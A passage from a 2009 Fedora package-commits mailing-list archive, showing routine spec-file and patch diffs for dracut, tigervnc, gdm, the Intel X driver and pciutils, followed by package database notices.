 Summary: Initramfs generator using udev
 Group: System Environment/Base		
 License: GPLv2+	
@@ -39,14 +43,15 @@ Requires: fileutils, gzip, tar
 Requires: lvm2 >= 2.02.33-9, dhclient
 Requires: filesystem >= 2.1.0, cpio, device-mapper, initscripts >= 8.63-1
 Requires: e2fsprogs >= 1.38-12, libselinux, libsepol, coreutils
-Requires: mdadm, elfutils-libelf
+Requires: mdadm, elfutils-libelf 
+Requires(pre): plymouth >= 0.7.0
+Requires: plymouth >= 0.7.0
 Requires: cryptsetup-luks
 Requires: file
 Requires: bzip2
 Requires: dmraid
 Requires: kbd
 Requires: plymouth-scripts
-Requires(pre): plymouth >= 0.7.0
 
 %if ! 0%{?with_switch_root}
 Requires: util-linux-ng >= 2.16
@@ -143,6 +148,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/dracut/modules.d/10rpmversion
 %{_datadir}/dracut/modules.d/50plymouth
 %{_datadir}/dracut/modules.d/90crypt
+%{_datadir}/dracut/modules.d/90dm
 %{_datadir}/dracut/modules.d/90dmraid
 %{_datadir}/dracut/modules.d/90dmsquash-live
 %{_datadir}/dracut/modules.d/90kernel-modules
@@ -188,6 +194,9 @@ rm -rf $RPM_BUILD_ROOT
 %dir /var/lib/dracut/overlay
 
 %changelog
+* Mon Oct 26 2009 Harald Hoyer <harald at redhat.com> 002-17
+- load dm_mod module (bug #530540)
+
 * Fri Oct 09 2009 Jesse Keating <jkeating at redhat.com> - 002-16
 - Upgrade plymouth to Requires(pre) to make it show up before kernel
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/devel/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	8 Oct 2009 16:22:48 -0000	1.24
+++ sources	26 Oct 2009 14:51:57 -0000	1.25
@@ -1 +1 @@
-355e63ceae9b8dbcec058ec69ba98db2  dracut-002-2331d1ff.tar.bz2
+73db1d86d5400708d3f8cfcafebd0847  dracut-002-35758e5c.tar.bz2



From atkac at fedoraproject.org  Mon Oct 26 14:54:04 2009
From: atkac at fedoraproject.org (Adam Tkac)
Date: Mon, 26 Oct 2009 14:54:04 +0000 (UTC)
Subject: rpms/tigervnc/F-11 tigervnc.spec,1.14,1.15
Message-ID: <20091026145405.13E5011C0268@cvs1.fedora.phx.redhat.com>

Author: atkac

Update of /cvs/pkgs/rpms/tigervnc/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27959

Modified Files:
	tigervnc.spec 
Log Message:
- create Xvnc keyboard mapping before first keypress (#516274)



Index: tigervnc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tigervnc/F-11/tigervnc.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- tigervnc.spec	8 Oct 2009 14:15:01 -0000	1.14
+++ tigervnc.spec	26 Oct 2009 14:54:03 -0000	1.15
@@ -1,6 +1,6 @@
 Name:		tigervnc
 Version:	1.0.0
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	A TigerVNC remote display system
 
 Group:		User Interface/Desktops
@@ -40,6 +40,7 @@ Patch4:		tigervnc-cookie.patch
 Patch8:		tigervnc-viewer-reparent.patch
 Patch11:	tigervnc10-rh510185.patch
 Patch12:	tigervnc10-rh524340.patch
+Patch13:	tigervnc10-rh516274.patch
 
 %description
 Virtual Network Computing (VNC) is a remote display system which
@@ -101,6 +102,7 @@ popd
 %patch8 -p1 -b .viewer-reparent
 %patch11 -p0 -b .rh510185
 %patch12 -p0 -b .rh524340
+%patch13 -p1 -b .rh516274
 
 # Use newer gettext
 sed -i 's/AM_GNU_GETTEXT_VERSION.*/AM_GNU_GETTEXT_VERSION([0.17])/' \
@@ -246,6 +248,9 @@ fi
 %endif
 
 %changelog
+* Mon Oct 26 2009 Adam Tkac <atkac redhat com> 1.0.0-2
+- create Xvnc keyboard mapping before first keypress (#516274)
+
 * Thu Oct 08 2009 Adam Tkac <atkac redhat com> 1.0.0-1
 - update to 1.0.0 release
   - tigervnc10-rh508998.patch merged



From rstrode at fedoraproject.org  Mon Oct 26 14:57:11 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Mon, 26 Oct 2009 14:57:11 +0000 (UTC)
Subject: rpms/gdm/F-12 fix-computer-info.patch, NONE, 1.1 gdm.spec, 1.504,
	1.505
Message-ID: <20091026145711.581DE11C02BA@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29085

Modified Files:
	gdm.spec 
Added Files:
	fix-computer-info.patch 
Log Message:
- Don't show hostname by default if it's localhost


fix-computer-info.patch:
 gdm-greeter-login-window.c |   28 +++++++++++++++++++++-------
 1 file changed, 21 insertions(+), 7 deletions(-)

--- NEW FILE fix-computer-info.patch ---
>From 03e01936f5c11580a1485c492355eb0a468ea0f6 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Mon, 26 Oct 2009 10:53:25 -0400
Subject: [PATCH] Don't bother showing hostname if it's not unique

The advantage of showing hostname by default is it is a
unique identifier for people who have multiple machines.

If it only says "localhost" or "localhost.localdomain"
that advantage is mitigated, and it's probably better to
show OS release.
---
 gui/simple-greeter/gdm-greeter-login-window.c |   27 +++++++++++++++++++-----
 1 files changed, 21 insertions(+), 6 deletions(-)

diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
index 9d75b8c..8de74df 100644
--- a/gui/simple-greeter/gdm-greeter-login-window.c
+++ b/gui/simple-greeter/gdm-greeter-login-window.c
@@ -887,10 +887,8 @@ on_user_unchosen (GdmUserChooserWidget  *user_chooser,
         do_cancel (login_window);
 }
 
-static gboolean
-on_computer_info_label_button_press (GtkWidget             *widget,
-                                     GdkEventButton        *event,
-                                     GdmGreeterLoginWindow *login_window)
+static void
+rotate_computer_info (GdmGreeterLoginWindow *login_window)
 {
         GtkWidget *notebook;
         int        current_page;
@@ -907,6 +905,14 @@ on_computer_info_label_button_press (GtkWidget             *widget,
                 gtk_notebook_set_current_page (GTK_NOTEBOOK (notebook), 0);
         }
 
+}
+
+static gboolean
+on_computer_info_label_button_press (GtkWidget             *widget,
+                                     GdkEventButton        *event,
+                                     GdmGreeterLoginWindow *login_window)
+{
+        rotate_computer_info (login_window);
         return FALSE;
 }
 
@@ -996,11 +1002,20 @@ create_computer_info (GdmGreeterLoginWindow *login_window)
 
         label = glade_xml_get_widget (login_window->priv->xml, "computer-info-name-label");
         if (label != NULL) {
-                char localhost[HOST_NAME_MAX + 1] = "";?
+                char localhost[HOST_NAME_MAX + 1] = "";
 
-                if (gethostname (localhost, HOST_NAME_MAX) == 0) {?
+                if (gethostname (localhost, HOST_NAME_MAX) == 0) {
                         gtk_label_set_text (GTK_LABEL (label), localhost);
                 }
+
+                /* If this isn't actually unique identifier for the computer, then
+                 * don't bother showing it by default.
+                 */
+                if (strcmp (localhost, "localhost") == 0 ||
+                    strcmp (localhost, "localhost.localdomain") == 0) {
+
+                    rotate_computer_info (login_window);
+                }
         }
 
         label = glade_xml_get_widget (login_window->priv->xml, "computer-info-version-label");
-- 
1.6.5.1



Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.504
retrieving revision 1.505
diff -u -p -r1.504 -r1.505
--- gdm.spec	26 Oct 2009 14:39:59 -0000	1.504
+++ gdm.spec	26 Oct 2009 14:57:11 -0000	1.505
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.1
-Release: 8%{?dist}
+Release: 9%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -104,6 +104,7 @@ Patch20: gdm-2.28.1-move-shutdown-functi
 Patch21: fix-clock.patch
 Patch22: fix-timer.patch
 Patch23: fix-na-tray.patch
+Patch24: fix-computer-info.patch
 
 Patch97: gdm-multistack.patch
 # Fedora-specific
@@ -153,6 +154,7 @@ The GDM fingerprint plugin provides func
 %patch21 -p1 -b .fix-clock
 %patch22 -p1 -b .fix-timer
 %patch23 -p1 -b .fix-na-tray
+%patch24 -p1 -b .fix-computer-info
 
 %patch97 -p1 -b .multistack
 %patch98 -p1 -b .bubble-location
@@ -405,6 +407,9 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Fri Oct 23 2009 Ray Strode <rstrode at redhat.com> 2.28.1-9
+- Don't show hostname by default if it's localhost
+
 * Fri Oct 23 2009 Ray Strode <rstrode at redhat.com> 2.28.1-8
 - Attempt to fix crash some users see.
 - Clean up rebase



From ajax at fedoraproject.org  Mon Oct 26 14:59:28 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Mon, 26 Oct 2009 14:59:28 +0000 (UTC)
Subject: rpms/xorg-x11-drv-intel/devel .cvsignore, 1.11, 1.12 copy-fb.patch, 
	1.8, 1.9 sources, 1.12, 1.13 xorg-x11-drv-intel.spec, 1.37,
	1.38 intel-2.8.0-build-fix.patch, 1.1,
	NONE intel-2.8.0-shadow-no-offset.patch, 1.1,
	NONE intel-abi-fix.patch, 1.1, NONE intel-chip-names.patch, 1.1,
	NONE intel-gamma-fix.patch, 1.1, NONE
Message-ID: <20091026145928.3138511C0268@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-drv-intel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29945

Modified Files:
	.cvsignore copy-fb.patch sources xorg-x11-drv-intel.spec 
Removed Files:
	intel-2.8.0-build-fix.patch intel-2.8.0-shadow-no-offset.patch 
	intel-abi-fix.patch intel-chip-names.patch 
	intel-gamma-fix.patch 
Log Message:
* Mon Oct 26 2009 Adam Jackson <ajax at redhat.com> 2.9.1-1
- intel 2.9.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-intel/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	1 Oct 2009 21:16:55 -0000	1.11
+++ .cvsignore	26 Oct 2009 14:59:27 -0000	1.12
@@ -1,2 +1,3 @@
 xf86-video-intel-2.9.0.tar.bz2
 intel-gpu-tools-20090908.tar.bz2
+xf86-video-intel-2.9.1.tar.bz2

copy-fb.patch:
 drmmode_display.c |  109 +++++++++++++++++++++++++++++++++++++++++++++++++++++-
 i830.h            |    1 
 i830_driver.c     |    2 
 3 files changed, 111 insertions(+), 1 deletion(-)

Index: copy-fb.patch
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-intel/devel/copy-fb.patch,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- copy-fb.patch	23 Sep 2009 23:40:02 -0000	1.8
+++ copy-fb.patch	26 Oct 2009 14:59:27 -0000	1.9
@@ -1,6 +1,6 @@
-diff -up xf86-video-intel-20090909/src/drmmode_display.c.copy-fb xf86-video-intel-20090909/src/drmmode_display.c
---- xf86-video-intel-20090909/src/drmmode_display.c.copy-fb	2009-09-24 09:30:40.000000000 +1000
-+++ xf86-video-intel-20090909/src/drmmode_display.c	2009-09-24 09:30:56.000000000 +1000
+diff -up xf86-video-intel-2.9.1/src/drmmode_display.c.jx xf86-video-intel-2.9.1/src/drmmode_display.c
+--- xf86-video-intel-2.9.1/src/drmmode_display.c.jx	2009-10-26 10:52:16.000000000 -0400
++++ xf86-video-intel-2.9.1/src/drmmode_display.c	2009-10-26 10:52:34.000000000 -0400
 @@ -35,6 +35,8 @@
  #include <unistd.h>
  #include <errno.h>
@@ -10,7 +10,7 @@ diff -up xf86-video-intel-20090909/src/d
  #include "xorgVersion.h"
  
  #include "i830.h"
-@@ -314,7 +316,7 @@ drmmode_set_mode_major(xf86CrtcPtr crtc,
+@@ -315,7 +317,7 @@ drmmode_set_mode_major(xf86CrtcPtr crtc,
  	unsigned int pitch = pScrn->displayWidth * pI830->cpp;
  
  	if (drmmode->fb_id == 0) {
@@ -19,7 +19,7 @@ diff -up xf86-video-intel-20090909/src/d
  				   pScrn->virtualX, pScrn->virtualY,
  				   pScrn->depth, pScrn->bitsPerPixel,
  				   pitch, pI830->front_buffer->bo->handle,
-@@ -912,6 +914,13 @@ drmmode_output_dpms(xf86OutputPtr output
+@@ -922,6 +924,13 @@ drmmode_output_dpms(xf86OutputPtr output
  	drmmode_ptr drmmode = drmmode_output->drmmode;
  	int i;
  	drmModePropertyPtr props;
@@ -33,7 +33,7 @@ diff -up xf86-video-intel-20090909/src/d
  
  	for (i = 0; i < koutput->count_props; i++) {
  		props = drmModeGetProperty(drmmode->fd, koutput->props[i]);
-@@ -1363,6 +1372,8 @@ drmmode_xf86crtc_resize (ScrnInfoPtr scr
+@@ -1373,6 +1382,8 @@ drmmode_xf86crtc_resize (ScrnInfoPtr scr
  	if (old_front)
  		i830_free_memory(scrn, old_front);
  
@@ -42,7 +42,7 @@ diff -up xf86-video-intel-20090909/src/d
  	return TRUE;
  
   fail:
-@@ -1402,6 +1413,7 @@ Bool drmmode_pre_init(ScrnInfoPtr pScrn,
+@@ -1412,6 +1423,7 @@ Bool drmmode_pre_init(ScrnInfoPtr pScrn,
  		return FALSE;
  	}
  
@@ -50,9 +50,9 @@ diff -up xf86-video-intel-20090909/src/d
  	xf86CrtcSetSizeRange(pScrn, 320, 200, drmmode->mode_res->max_width,
  			     drmmode->mode_res->max_height);
  	for (i = 0; i < drmmode->mode_res->count_crtcs; i++)
-@@ -1422,3 +1434,98 @@ drmmode_get_pipe_from_crtc_id(drm_intel_
- 
- 	return drm_intel_get_pipe_from_crtc_id (bufmgr, drmmode_crtc->mode_crtc->crtc_id);
+@@ -1447,3 +1459,98 @@ void drmmode_closefb(ScrnInfoPtr scrn)
+ 	drmModeRmFB(drmmode->fd, drmmode->fb_id);
+ 	drmmode->fb_id = 0;
  }
 +
 +static PixmapPtr
@@ -149,10 +149,10 @@ diff -up xf86-video-intel-20090909/src/d
 +	(*pScreen->DestroyPixmap)(dst);
 +}
 +
-diff -up xf86-video-intel-20090909/src/i830_driver.c.copy-fb xf86-video-intel-20090909/src/i830_driver.c
---- xf86-video-intel-20090909/src/i830_driver.c.copy-fb	2009-09-09 21:40:15.000000000 +1000
-+++ xf86-video-intel-20090909/src/i830_driver.c	2009-09-24 09:30:40.000000000 +1000
-@@ -3054,6 +3054,8 @@ I830EnterVT(int scrnIndex, int flags)
+diff -up xf86-video-intel-2.9.1/src/i830_driver.c.jx xf86-video-intel-2.9.1/src/i830_driver.c
+--- xf86-video-intel-2.9.1/src/i830_driver.c.jx	2009-10-26 07:48:05.000000000 -0400
++++ xf86-video-intel-2.9.1/src/i830_driver.c	2009-10-26 10:52:34.000000000 -0400
+@@ -3014,6 +3014,8 @@ I830EnterVT(int scrnIndex, int flags)
         /* Clear the framebuffer */
         memset(pI830->FbBase + pScrn->fbOffset, 0,
  	      pScrn->virtualY * pScrn->displayWidth * pI830->cpp);
@@ -161,12 +161,12 @@ diff -up xf86-video-intel-20090909/src/i
     }
  
     if (!xf86SetDesiredModes (pScrn))
-diff -up xf86-video-intel-20090909/src/i830.h.copy-fb xf86-video-intel-20090909/src/i830.h
---- xf86-video-intel-20090909/src/i830.h.copy-fb	2009-09-09 21:40:15.000000000 +1000
-+++ xf86-video-intel-20090909/src/i830.h	2009-09-24 09:30:40.000000000 +1000
-@@ -694,6 +694,7 @@ void I830DRI2CloseScreen(ScreenPtr pScre
- extern Bool drmmode_pre_init(ScrnInfoPtr pScrn, int fd, int cpp);
+diff -up xf86-video-intel-2.9.1/src/i830.h.jx xf86-video-intel-2.9.1/src/i830.h
+--- xf86-video-intel-2.9.1/src/i830.h.jx	2009-10-26 07:48:05.000000000 -0400
++++ xf86-video-intel-2.9.1/src/i830.h	2009-10-26 10:52:34.000000000 -0400
+@@ -694,6 +694,7 @@ extern Bool drmmode_pre_init(ScrnInfoPtr
  extern int drmmode_get_pipe_from_crtc_id(drm_intel_bufmgr *bufmgr, xf86CrtcPtr crtc);
+ extern void drmmode_closefb(ScrnInfoPtr scrn);
  extern int drmmode_output_dpms_status(xf86OutputPtr output);
 +extern void drmmode_copy_fb(ScrnInfoPtr pScrn);
  void


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-intel/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	1 Oct 2009 21:16:55 -0000	1.12
+++ sources	26 Oct 2009 14:59:27 -0000	1.13
@@ -1,2 +1,2 @@
-34ff2582993d64dddd62d0cb7b30d759  xf86-video-intel-2.9.0.tar.bz2
 d64507d329cff1228f8a88ec2e9f58cb  intel-gpu-tools-20090908.tar.bz2
+8951d0366c16991badb7f9050556f4f3  xf86-video-intel-2.9.1.tar.bz2


Index: xorg-x11-drv-intel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-intel/devel/xorg-x11-drv-intel.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- xorg-x11-drv-intel.spec	26 Oct 2009 14:47:10 -0000	1.37
+++ xorg-x11-drv-intel.spec	26 Oct 2009 14:59:27 -0000	1.38
@@ -6,15 +6,14 @@
 
 Summary:   Xorg X11 Intel video driver
 Name:      xorg-x11-drv-intel
-Version:   2.9.0
-Release:   3%{?dist}
+Version:   2.9.1
+Release:   1%{?dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X Hardware Support
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-#Source0:    http://xorg.freedesktop.org/archive/individual/driver/xf86-video-intel-%{version}.tar.bz2 
-Source0:    xf86-video-intel-%{version}.tar.bz2
+Source0:    http://xorg.freedesktop.org/archive/individual/driver/xf86-video-intel-%{version}.tar.bz2 
 Source1:    make-intel-gpu-tools-snapshot.sh
 Source2:    intel.xinf
 Source3:    intel-gpu-tools-%{gputoolsdate}.tar.bz2
@@ -22,7 +21,6 @@ Source4:    make-git-snapshot.sh
 
 Patch1: kill-svideo.patch
 Patch2: copy-fb.patch
-Patch3: intel-gamma-fix.patch
 
 # needs to be upstreamed
 Patch20: intel-2.8.0-kms-get-crtc.patch
@@ -79,7 +77,6 @@ Debugging tools for Intel graphics chips
 %setup -q -n xf86-video-intel-%{dirsuffix} -b3
 %patch1 -p1 -b .svideo
 %patch2 -p1 -b .copy-fb
-%patch3 -p1 -b .gamma-fix
 %patch20 -p1 -b .get-crtc
 %patch21 -p1 -b .lvds-first
 %patch60 -p1 -b .uevent
@@ -139,6 +136,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/intel_*.1*
 
 %changelog
+* Mon Oct 26 2009 Adam Jackson <ajax at redhat.com> 2.9.1-1
+- intel 2.9.1
+
 * Fri Oct 09 2009 Dave Airlie <airlied at redhat.com> 2.9.0-3
 - set gamma on mode set major for kms
 


--- intel-2.8.0-build-fix.patch DELETED ---


--- intel-2.8.0-shadow-no-offset.patch DELETED ---


--- intel-abi-fix.patch DELETED ---


--- intel-chip-names.patch DELETED ---


--- intel-gamma-fix.patch DELETED ---



From atkac at fedoraproject.org  Mon Oct 26 15:05:44 2009
From: atkac at fedoraproject.org (Adam Tkac)
Date: Mon, 26 Oct 2009 15:05:44 +0000 (UTC)
Subject: rpms/tigervnc/F-11 tigervnc10-rh516274.patch,NONE,1.1
Message-ID: <20091026150544.3DB0711C0268@cvs1.fedora.phx.redhat.com>

Author: atkac

Update of /cvs/pkgs/rpms/tigervnc/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31483

Added Files:
	tigervnc10-rh516274.patch 
Log Message:
Forgot to add the patch...


tigervnc10-rh516274.patch:
 dix/main.c               |    3 +++
 hw/vnc/XserverDesktop.cc |    9 +++++++++
 2 files changed, 12 insertions(+)

--- NEW FILE tigervnc10-rh516274.patch ---
diff -up tigervnc-1.0.0/unix/xserver/dix/main.c.rh516274 tigervnc-1.0.0/unix/xserver/dix/main.c
--- tigervnc-1.0.0/unix/xserver/dix/main.c.rh516274	2009-10-14 13:10:14.894393124 +0200
+++ tigervnc-1.0.0/unix/xserver/dix/main.c	2009-10-14 13:10:14.904391193 +0200
@@ -125,6 +125,8 @@ extern FontPtr defaultFont;
 extern void InitProcVectors(void);
 extern Bool CreateGCperDepthArray(void);
 
+extern void workaroundRHBZ516274(void);
+
 #ifndef PANORAMIX
 static
 #endif
@@ -368,6 +370,7 @@ int main(int argc, char *argv[], char *e
         InitCoreDevices();
 	InitInput(argc, argv);
 	InitAndStartDevices();
+	workaroundRHBZ516274();
 
 	dixSaveScreens(serverClient, SCREEN_SAVER_FORCER, ScreenSaverReset);
 
diff -up tigervnc-1.0.0/unix/xserver/hw/vnc/XserverDesktop.cc.rh516274 tigervnc-1.0.0/unix/xserver/hw/vnc/XserverDesktop.cc
--- tigervnc-1.0.0/unix/xserver/hw/vnc/XserverDesktop.cc.rh516274	2009-08-20 11:46:42.000000000 +0200
+++ tigervnc-1.0.0/unix/xserver/hw/vnc/XserverDesktop.cc	2009-10-14 13:10:30.936890666 +0200
@@ -1511,3 +1511,12 @@ static int vfbMouseProc(DeviceIntPtr pDe
   }
   return Success;
 }
+
+extern "C" {
+
+void workaroundRHBZ516274(void)
+{
+  CopyKeyClass(vncKeyboardDevice, vncKeyboardDevice->u.master);
+}
+
+};



From rstrode at fedoraproject.org  Mon Oct 26 15:06:28 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Mon, 26 Oct 2009 15:06:28 +0000 (UTC)
Subject: rpms/gdm/F-12 fix-computer-info.patch,1.1,1.2
Message-ID: <20091026150628.63CEC11C0268@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32130

Modified Files:
	fix-computer-info.patch 
Log Message:
Add missing half of last patch


fix-computer-info.patch:
 b/gui/simple-greeter/gdm-greeter-login-window.c |    7 ++++--
 gui/simple-greeter/gdm-greeter-login-window.c   |   28 ++++++++++++++++++------
 2 files changed, 26 insertions(+), 9 deletions(-)

Index: fix-computer-info.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/fix-computer-info.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- fix-computer-info.patch	26 Oct 2009 14:57:10 -0000	1.1
+++ fix-computer-info.patch	26 Oct 2009 15:06:28 -0000	1.2
@@ -1,7 +1,38 @@
+From 18bf08d14ed77db00a17e74c5ce04c812ef251af Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Mon, 26 Oct 2009 10:45:49 -0400
+Subject: [PATCH 1/2] Use gethostname instead of g_get_host_name in greeter
+
+The latter is unreliable when the hostname changes at runtime.
+---
+ gui/simple-greeter/gdm-greeter-login-window.c |    6 +++++-
+ 1 files changed, 5 insertions(+), 1 deletions(-)
+
+diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
+index 9a29a2e..9d75b8c 100644
+--- a/gui/simple-greeter/gdm-greeter-login-window.c
++++ b/gui/simple-greeter/gdm-greeter-login-window.c
+@@ -996,7 +996,11 @@ create_computer_info (GdmGreeterLoginWindow *login_window)
+ 
+         label = glade_xml_get_widget (login_window->priv->xml, "computer-info-name-label");
+         if (label != NULL) {
+-                gtk_label_set_text (GTK_LABEL (label), g_get_host_name ());
++                char localhost[HOST_NAME_MAX + 1] = "";?
++
++                if (gethostname (localhost, HOST_NAME_MAX) == 0) {?
++                        gtk_label_set_text (GTK_LABEL (label), localhost);
++                }
+         }
+ 
+         label = glade_xml_get_widget (login_window->priv->xml, "computer-info-version-label");
+-- 
+1.6.5.1
+
+
 From 03e01936f5c11580a1485c492355eb0a468ea0f6 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 26 Oct 2009 10:53:25 -0400
-Subject: [PATCH] Don't bother showing hostname if it's not unique
+Subject: [PATCH 2/2] Don't bother showing hostname if it's not unique
 
 The advantage of showing hostname by default is it is a
 unique identifier for people who have multiple machines.



From mhlavink at fedoraproject.org  Mon Oct 26 15:09:37 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Mon, 26 Oct 2009 15:09:37 +0000 (UTC)
Subject: rpms/pciutils/devel pciutils-3.0.2-multilib.patch, 1.3,
	1.4 pciutils.spec, 1.78, 1.79
Message-ID: <20091026150937.D576911C0268@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/pciutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv417

Modified Files:
	pciutils-3.0.2-multilib.patch pciutils.spec 
Log Message:
* Mon Oct 26 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-4
- enable direct hardware access method for 64bit architectures


pciutils-3.0.2-multilib.patch:
 configure |   62 ++++++++++++++++++++++++++++++++++++++++++++++++++------------
 1 file changed, 50 insertions(+), 12 deletions(-)

Index: pciutils-3.0.2-multilib.patch
===================================================================
RCS file: /cvs/extras/rpms/pciutils/devel/pciutils-3.0.2-multilib.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- pciutils-3.0.2-multilib.patch	27 Jan 2009 17:26:44 -0000	1.3
+++ pciutils-3.0.2-multilib.patch	26 Oct 2009 15:09:37 -0000	1.4
@@ -1,7 +1,7 @@
-diff -up pciutils-3.0.2/lib/configure.multilib pciutils-3.0.2/lib/configure
---- pciutils-3.0.2/lib/configure.multilib	2008-09-19 20:04:37.000000000 +0200
-+++ pciutils-3.0.2/lib/configure	2008-09-22 10:35:58.964527560 +0200
-@@ -45,29 +45,62 @@ sys=`echo $host | sed 's/^\([^-]*\)-\([^
+diff -up pciutils-3.1.4/lib/configure.multilib pciutils-3.1.4/lib/configure
+--- pciutils-3.1.4/lib/configure.multilib	2009-08-10 16:28:53.000000000 +0200
++++ pciutils-3.1.4/lib/configure	2009-10-23 17:51:57.272127815 +0200
+@@ -50,29 +50,64 @@ sys=`echo $host | sed 's/^\([^-]*\)-\([^
  echo " $host $rel $cpu $sys"
  
  c=config.h
@@ -15,8 +15,10 @@ diff -up pciutils-3.0.2/lib/configure.mu
 +#define PCI_CONFIG_H
 +#if defined(__x86_64__)
 +#define PCI_ARCH_X86_64
++#define PCI_HAVE_PM_INTEL_CONF
 +#elif defined(__ia64__)
 +#define PCI_ARCH_IA64
++#define PCI_HAVE_PM_INTEL_CONF
 +#elif defined(__i386__)
 +#define PCI_ARCH_I386
 +#define PCI_HAVE_PM_INTEL_CONF
@@ -74,7 +76,7 @@ diff -up pciutils-3.0.2/lib/configure.mu
  		;;
  	sunos)
  		case $cpu in
-@@ -123,7 +156,7 @@ case $sys in
+@@ -130,7 +165,7 @@ case $sys in
  		;;
  esac
  
@@ -83,7 +85,7 @@ diff -up pciutils-3.0.2/lib/configure.mu
  echo " dump"
  
  echo_n "Checking for zlib support... "
-@@ -146,6 +179,7 @@ else
+@@ -153,6 +188,7 @@ else
  	echo >>$c '#define PCI_IDS "pci.ids"'
  fi
  echo >>$c "#define PCI_PATH_IDS_DIR \"$IDSDIR\""
@@ -91,7 +93,7 @@ diff -up pciutils-3.0.2/lib/configure.mu
  
  echo_n "Checking for DNS support... "
  if [ "$DNS" = yes -o "$DNS" = no ] ; then
-@@ -160,6 +194,7 @@ else
+@@ -167,6 +203,7 @@ else
  fi
  if [ "$DNS" = yes ] ; then
  	echo >>$c "#define PCI_USE_DNS"
@@ -99,7 +101,7 @@ diff -up pciutils-3.0.2/lib/configure.mu
  	echo >>$c "#define PCI_ID_DOMAIN \"pci.id.ucw.cz\""
  	echo >>$m "WITH_LIBS+=$LIBRESOLV"
  fi
-@@ -182,4 +217,5 @@ fi
+@@ -189,4 +226,5 @@ fi
  echo >>$m 'PCILIBPC=$(LIBNAME).pc'
  
  echo >>$c "#define PCILIB_VERSION \"$VERSION\""


Index: pciutils.spec
===================================================================
RCS file: /cvs/extras/rpms/pciutils/devel/pciutils.spec,v
retrieving revision 1.78
retrieving revision 1.79
diff -u -p -r1.78 -r1.79
--- pciutils.spec	12 Oct 2009 13:29:51 -0000	1.78
+++ pciutils.spec	26 Oct 2009 15:09:37 -0000	1.79
@@ -1,6 +1,6 @@
 Name:		pciutils
 Version:	3.1.4
-Release: 	3%{?dist}
+Release: 	4%{?dist}
 Source:		ftp://atrey.karlin.mff.cuni.cz/pub/linux/pci/%{name}-%{version}.tar.gz
 
 #truncate too long names (#205948)
@@ -140,6 +140,9 @@ install -p lib/libpci.pc $RPM_BUILD_ROOT
 rm -rf $RPM_BUILD_ROOT
 
 %changelog
+* Mon Oct 26 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-4
+- enable direct hardware access method for 64bit architectures
+
 * Mon Oct 12 2009 Michal Hlavinka <mhlavink at redhat.com> - 3.1.4-3
 - don't ship static library in -devel sub-package
 



From pkgdb at fedoraproject.org  Mon Oct 26 15:21:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 15:21:50 +0000
Subject: [pkgdb] pmount: agk has requested watchcommits
Message-ID: <20091026152150.CC97410F895@bastion2.fedora.phx.redhat.com>

agk has requested the watchcommits acl on pmount (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Mon Oct 26 15:21:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 15:21:58 +0000
Subject: [pkgdb] pmount: agk has requested watchbugzilla
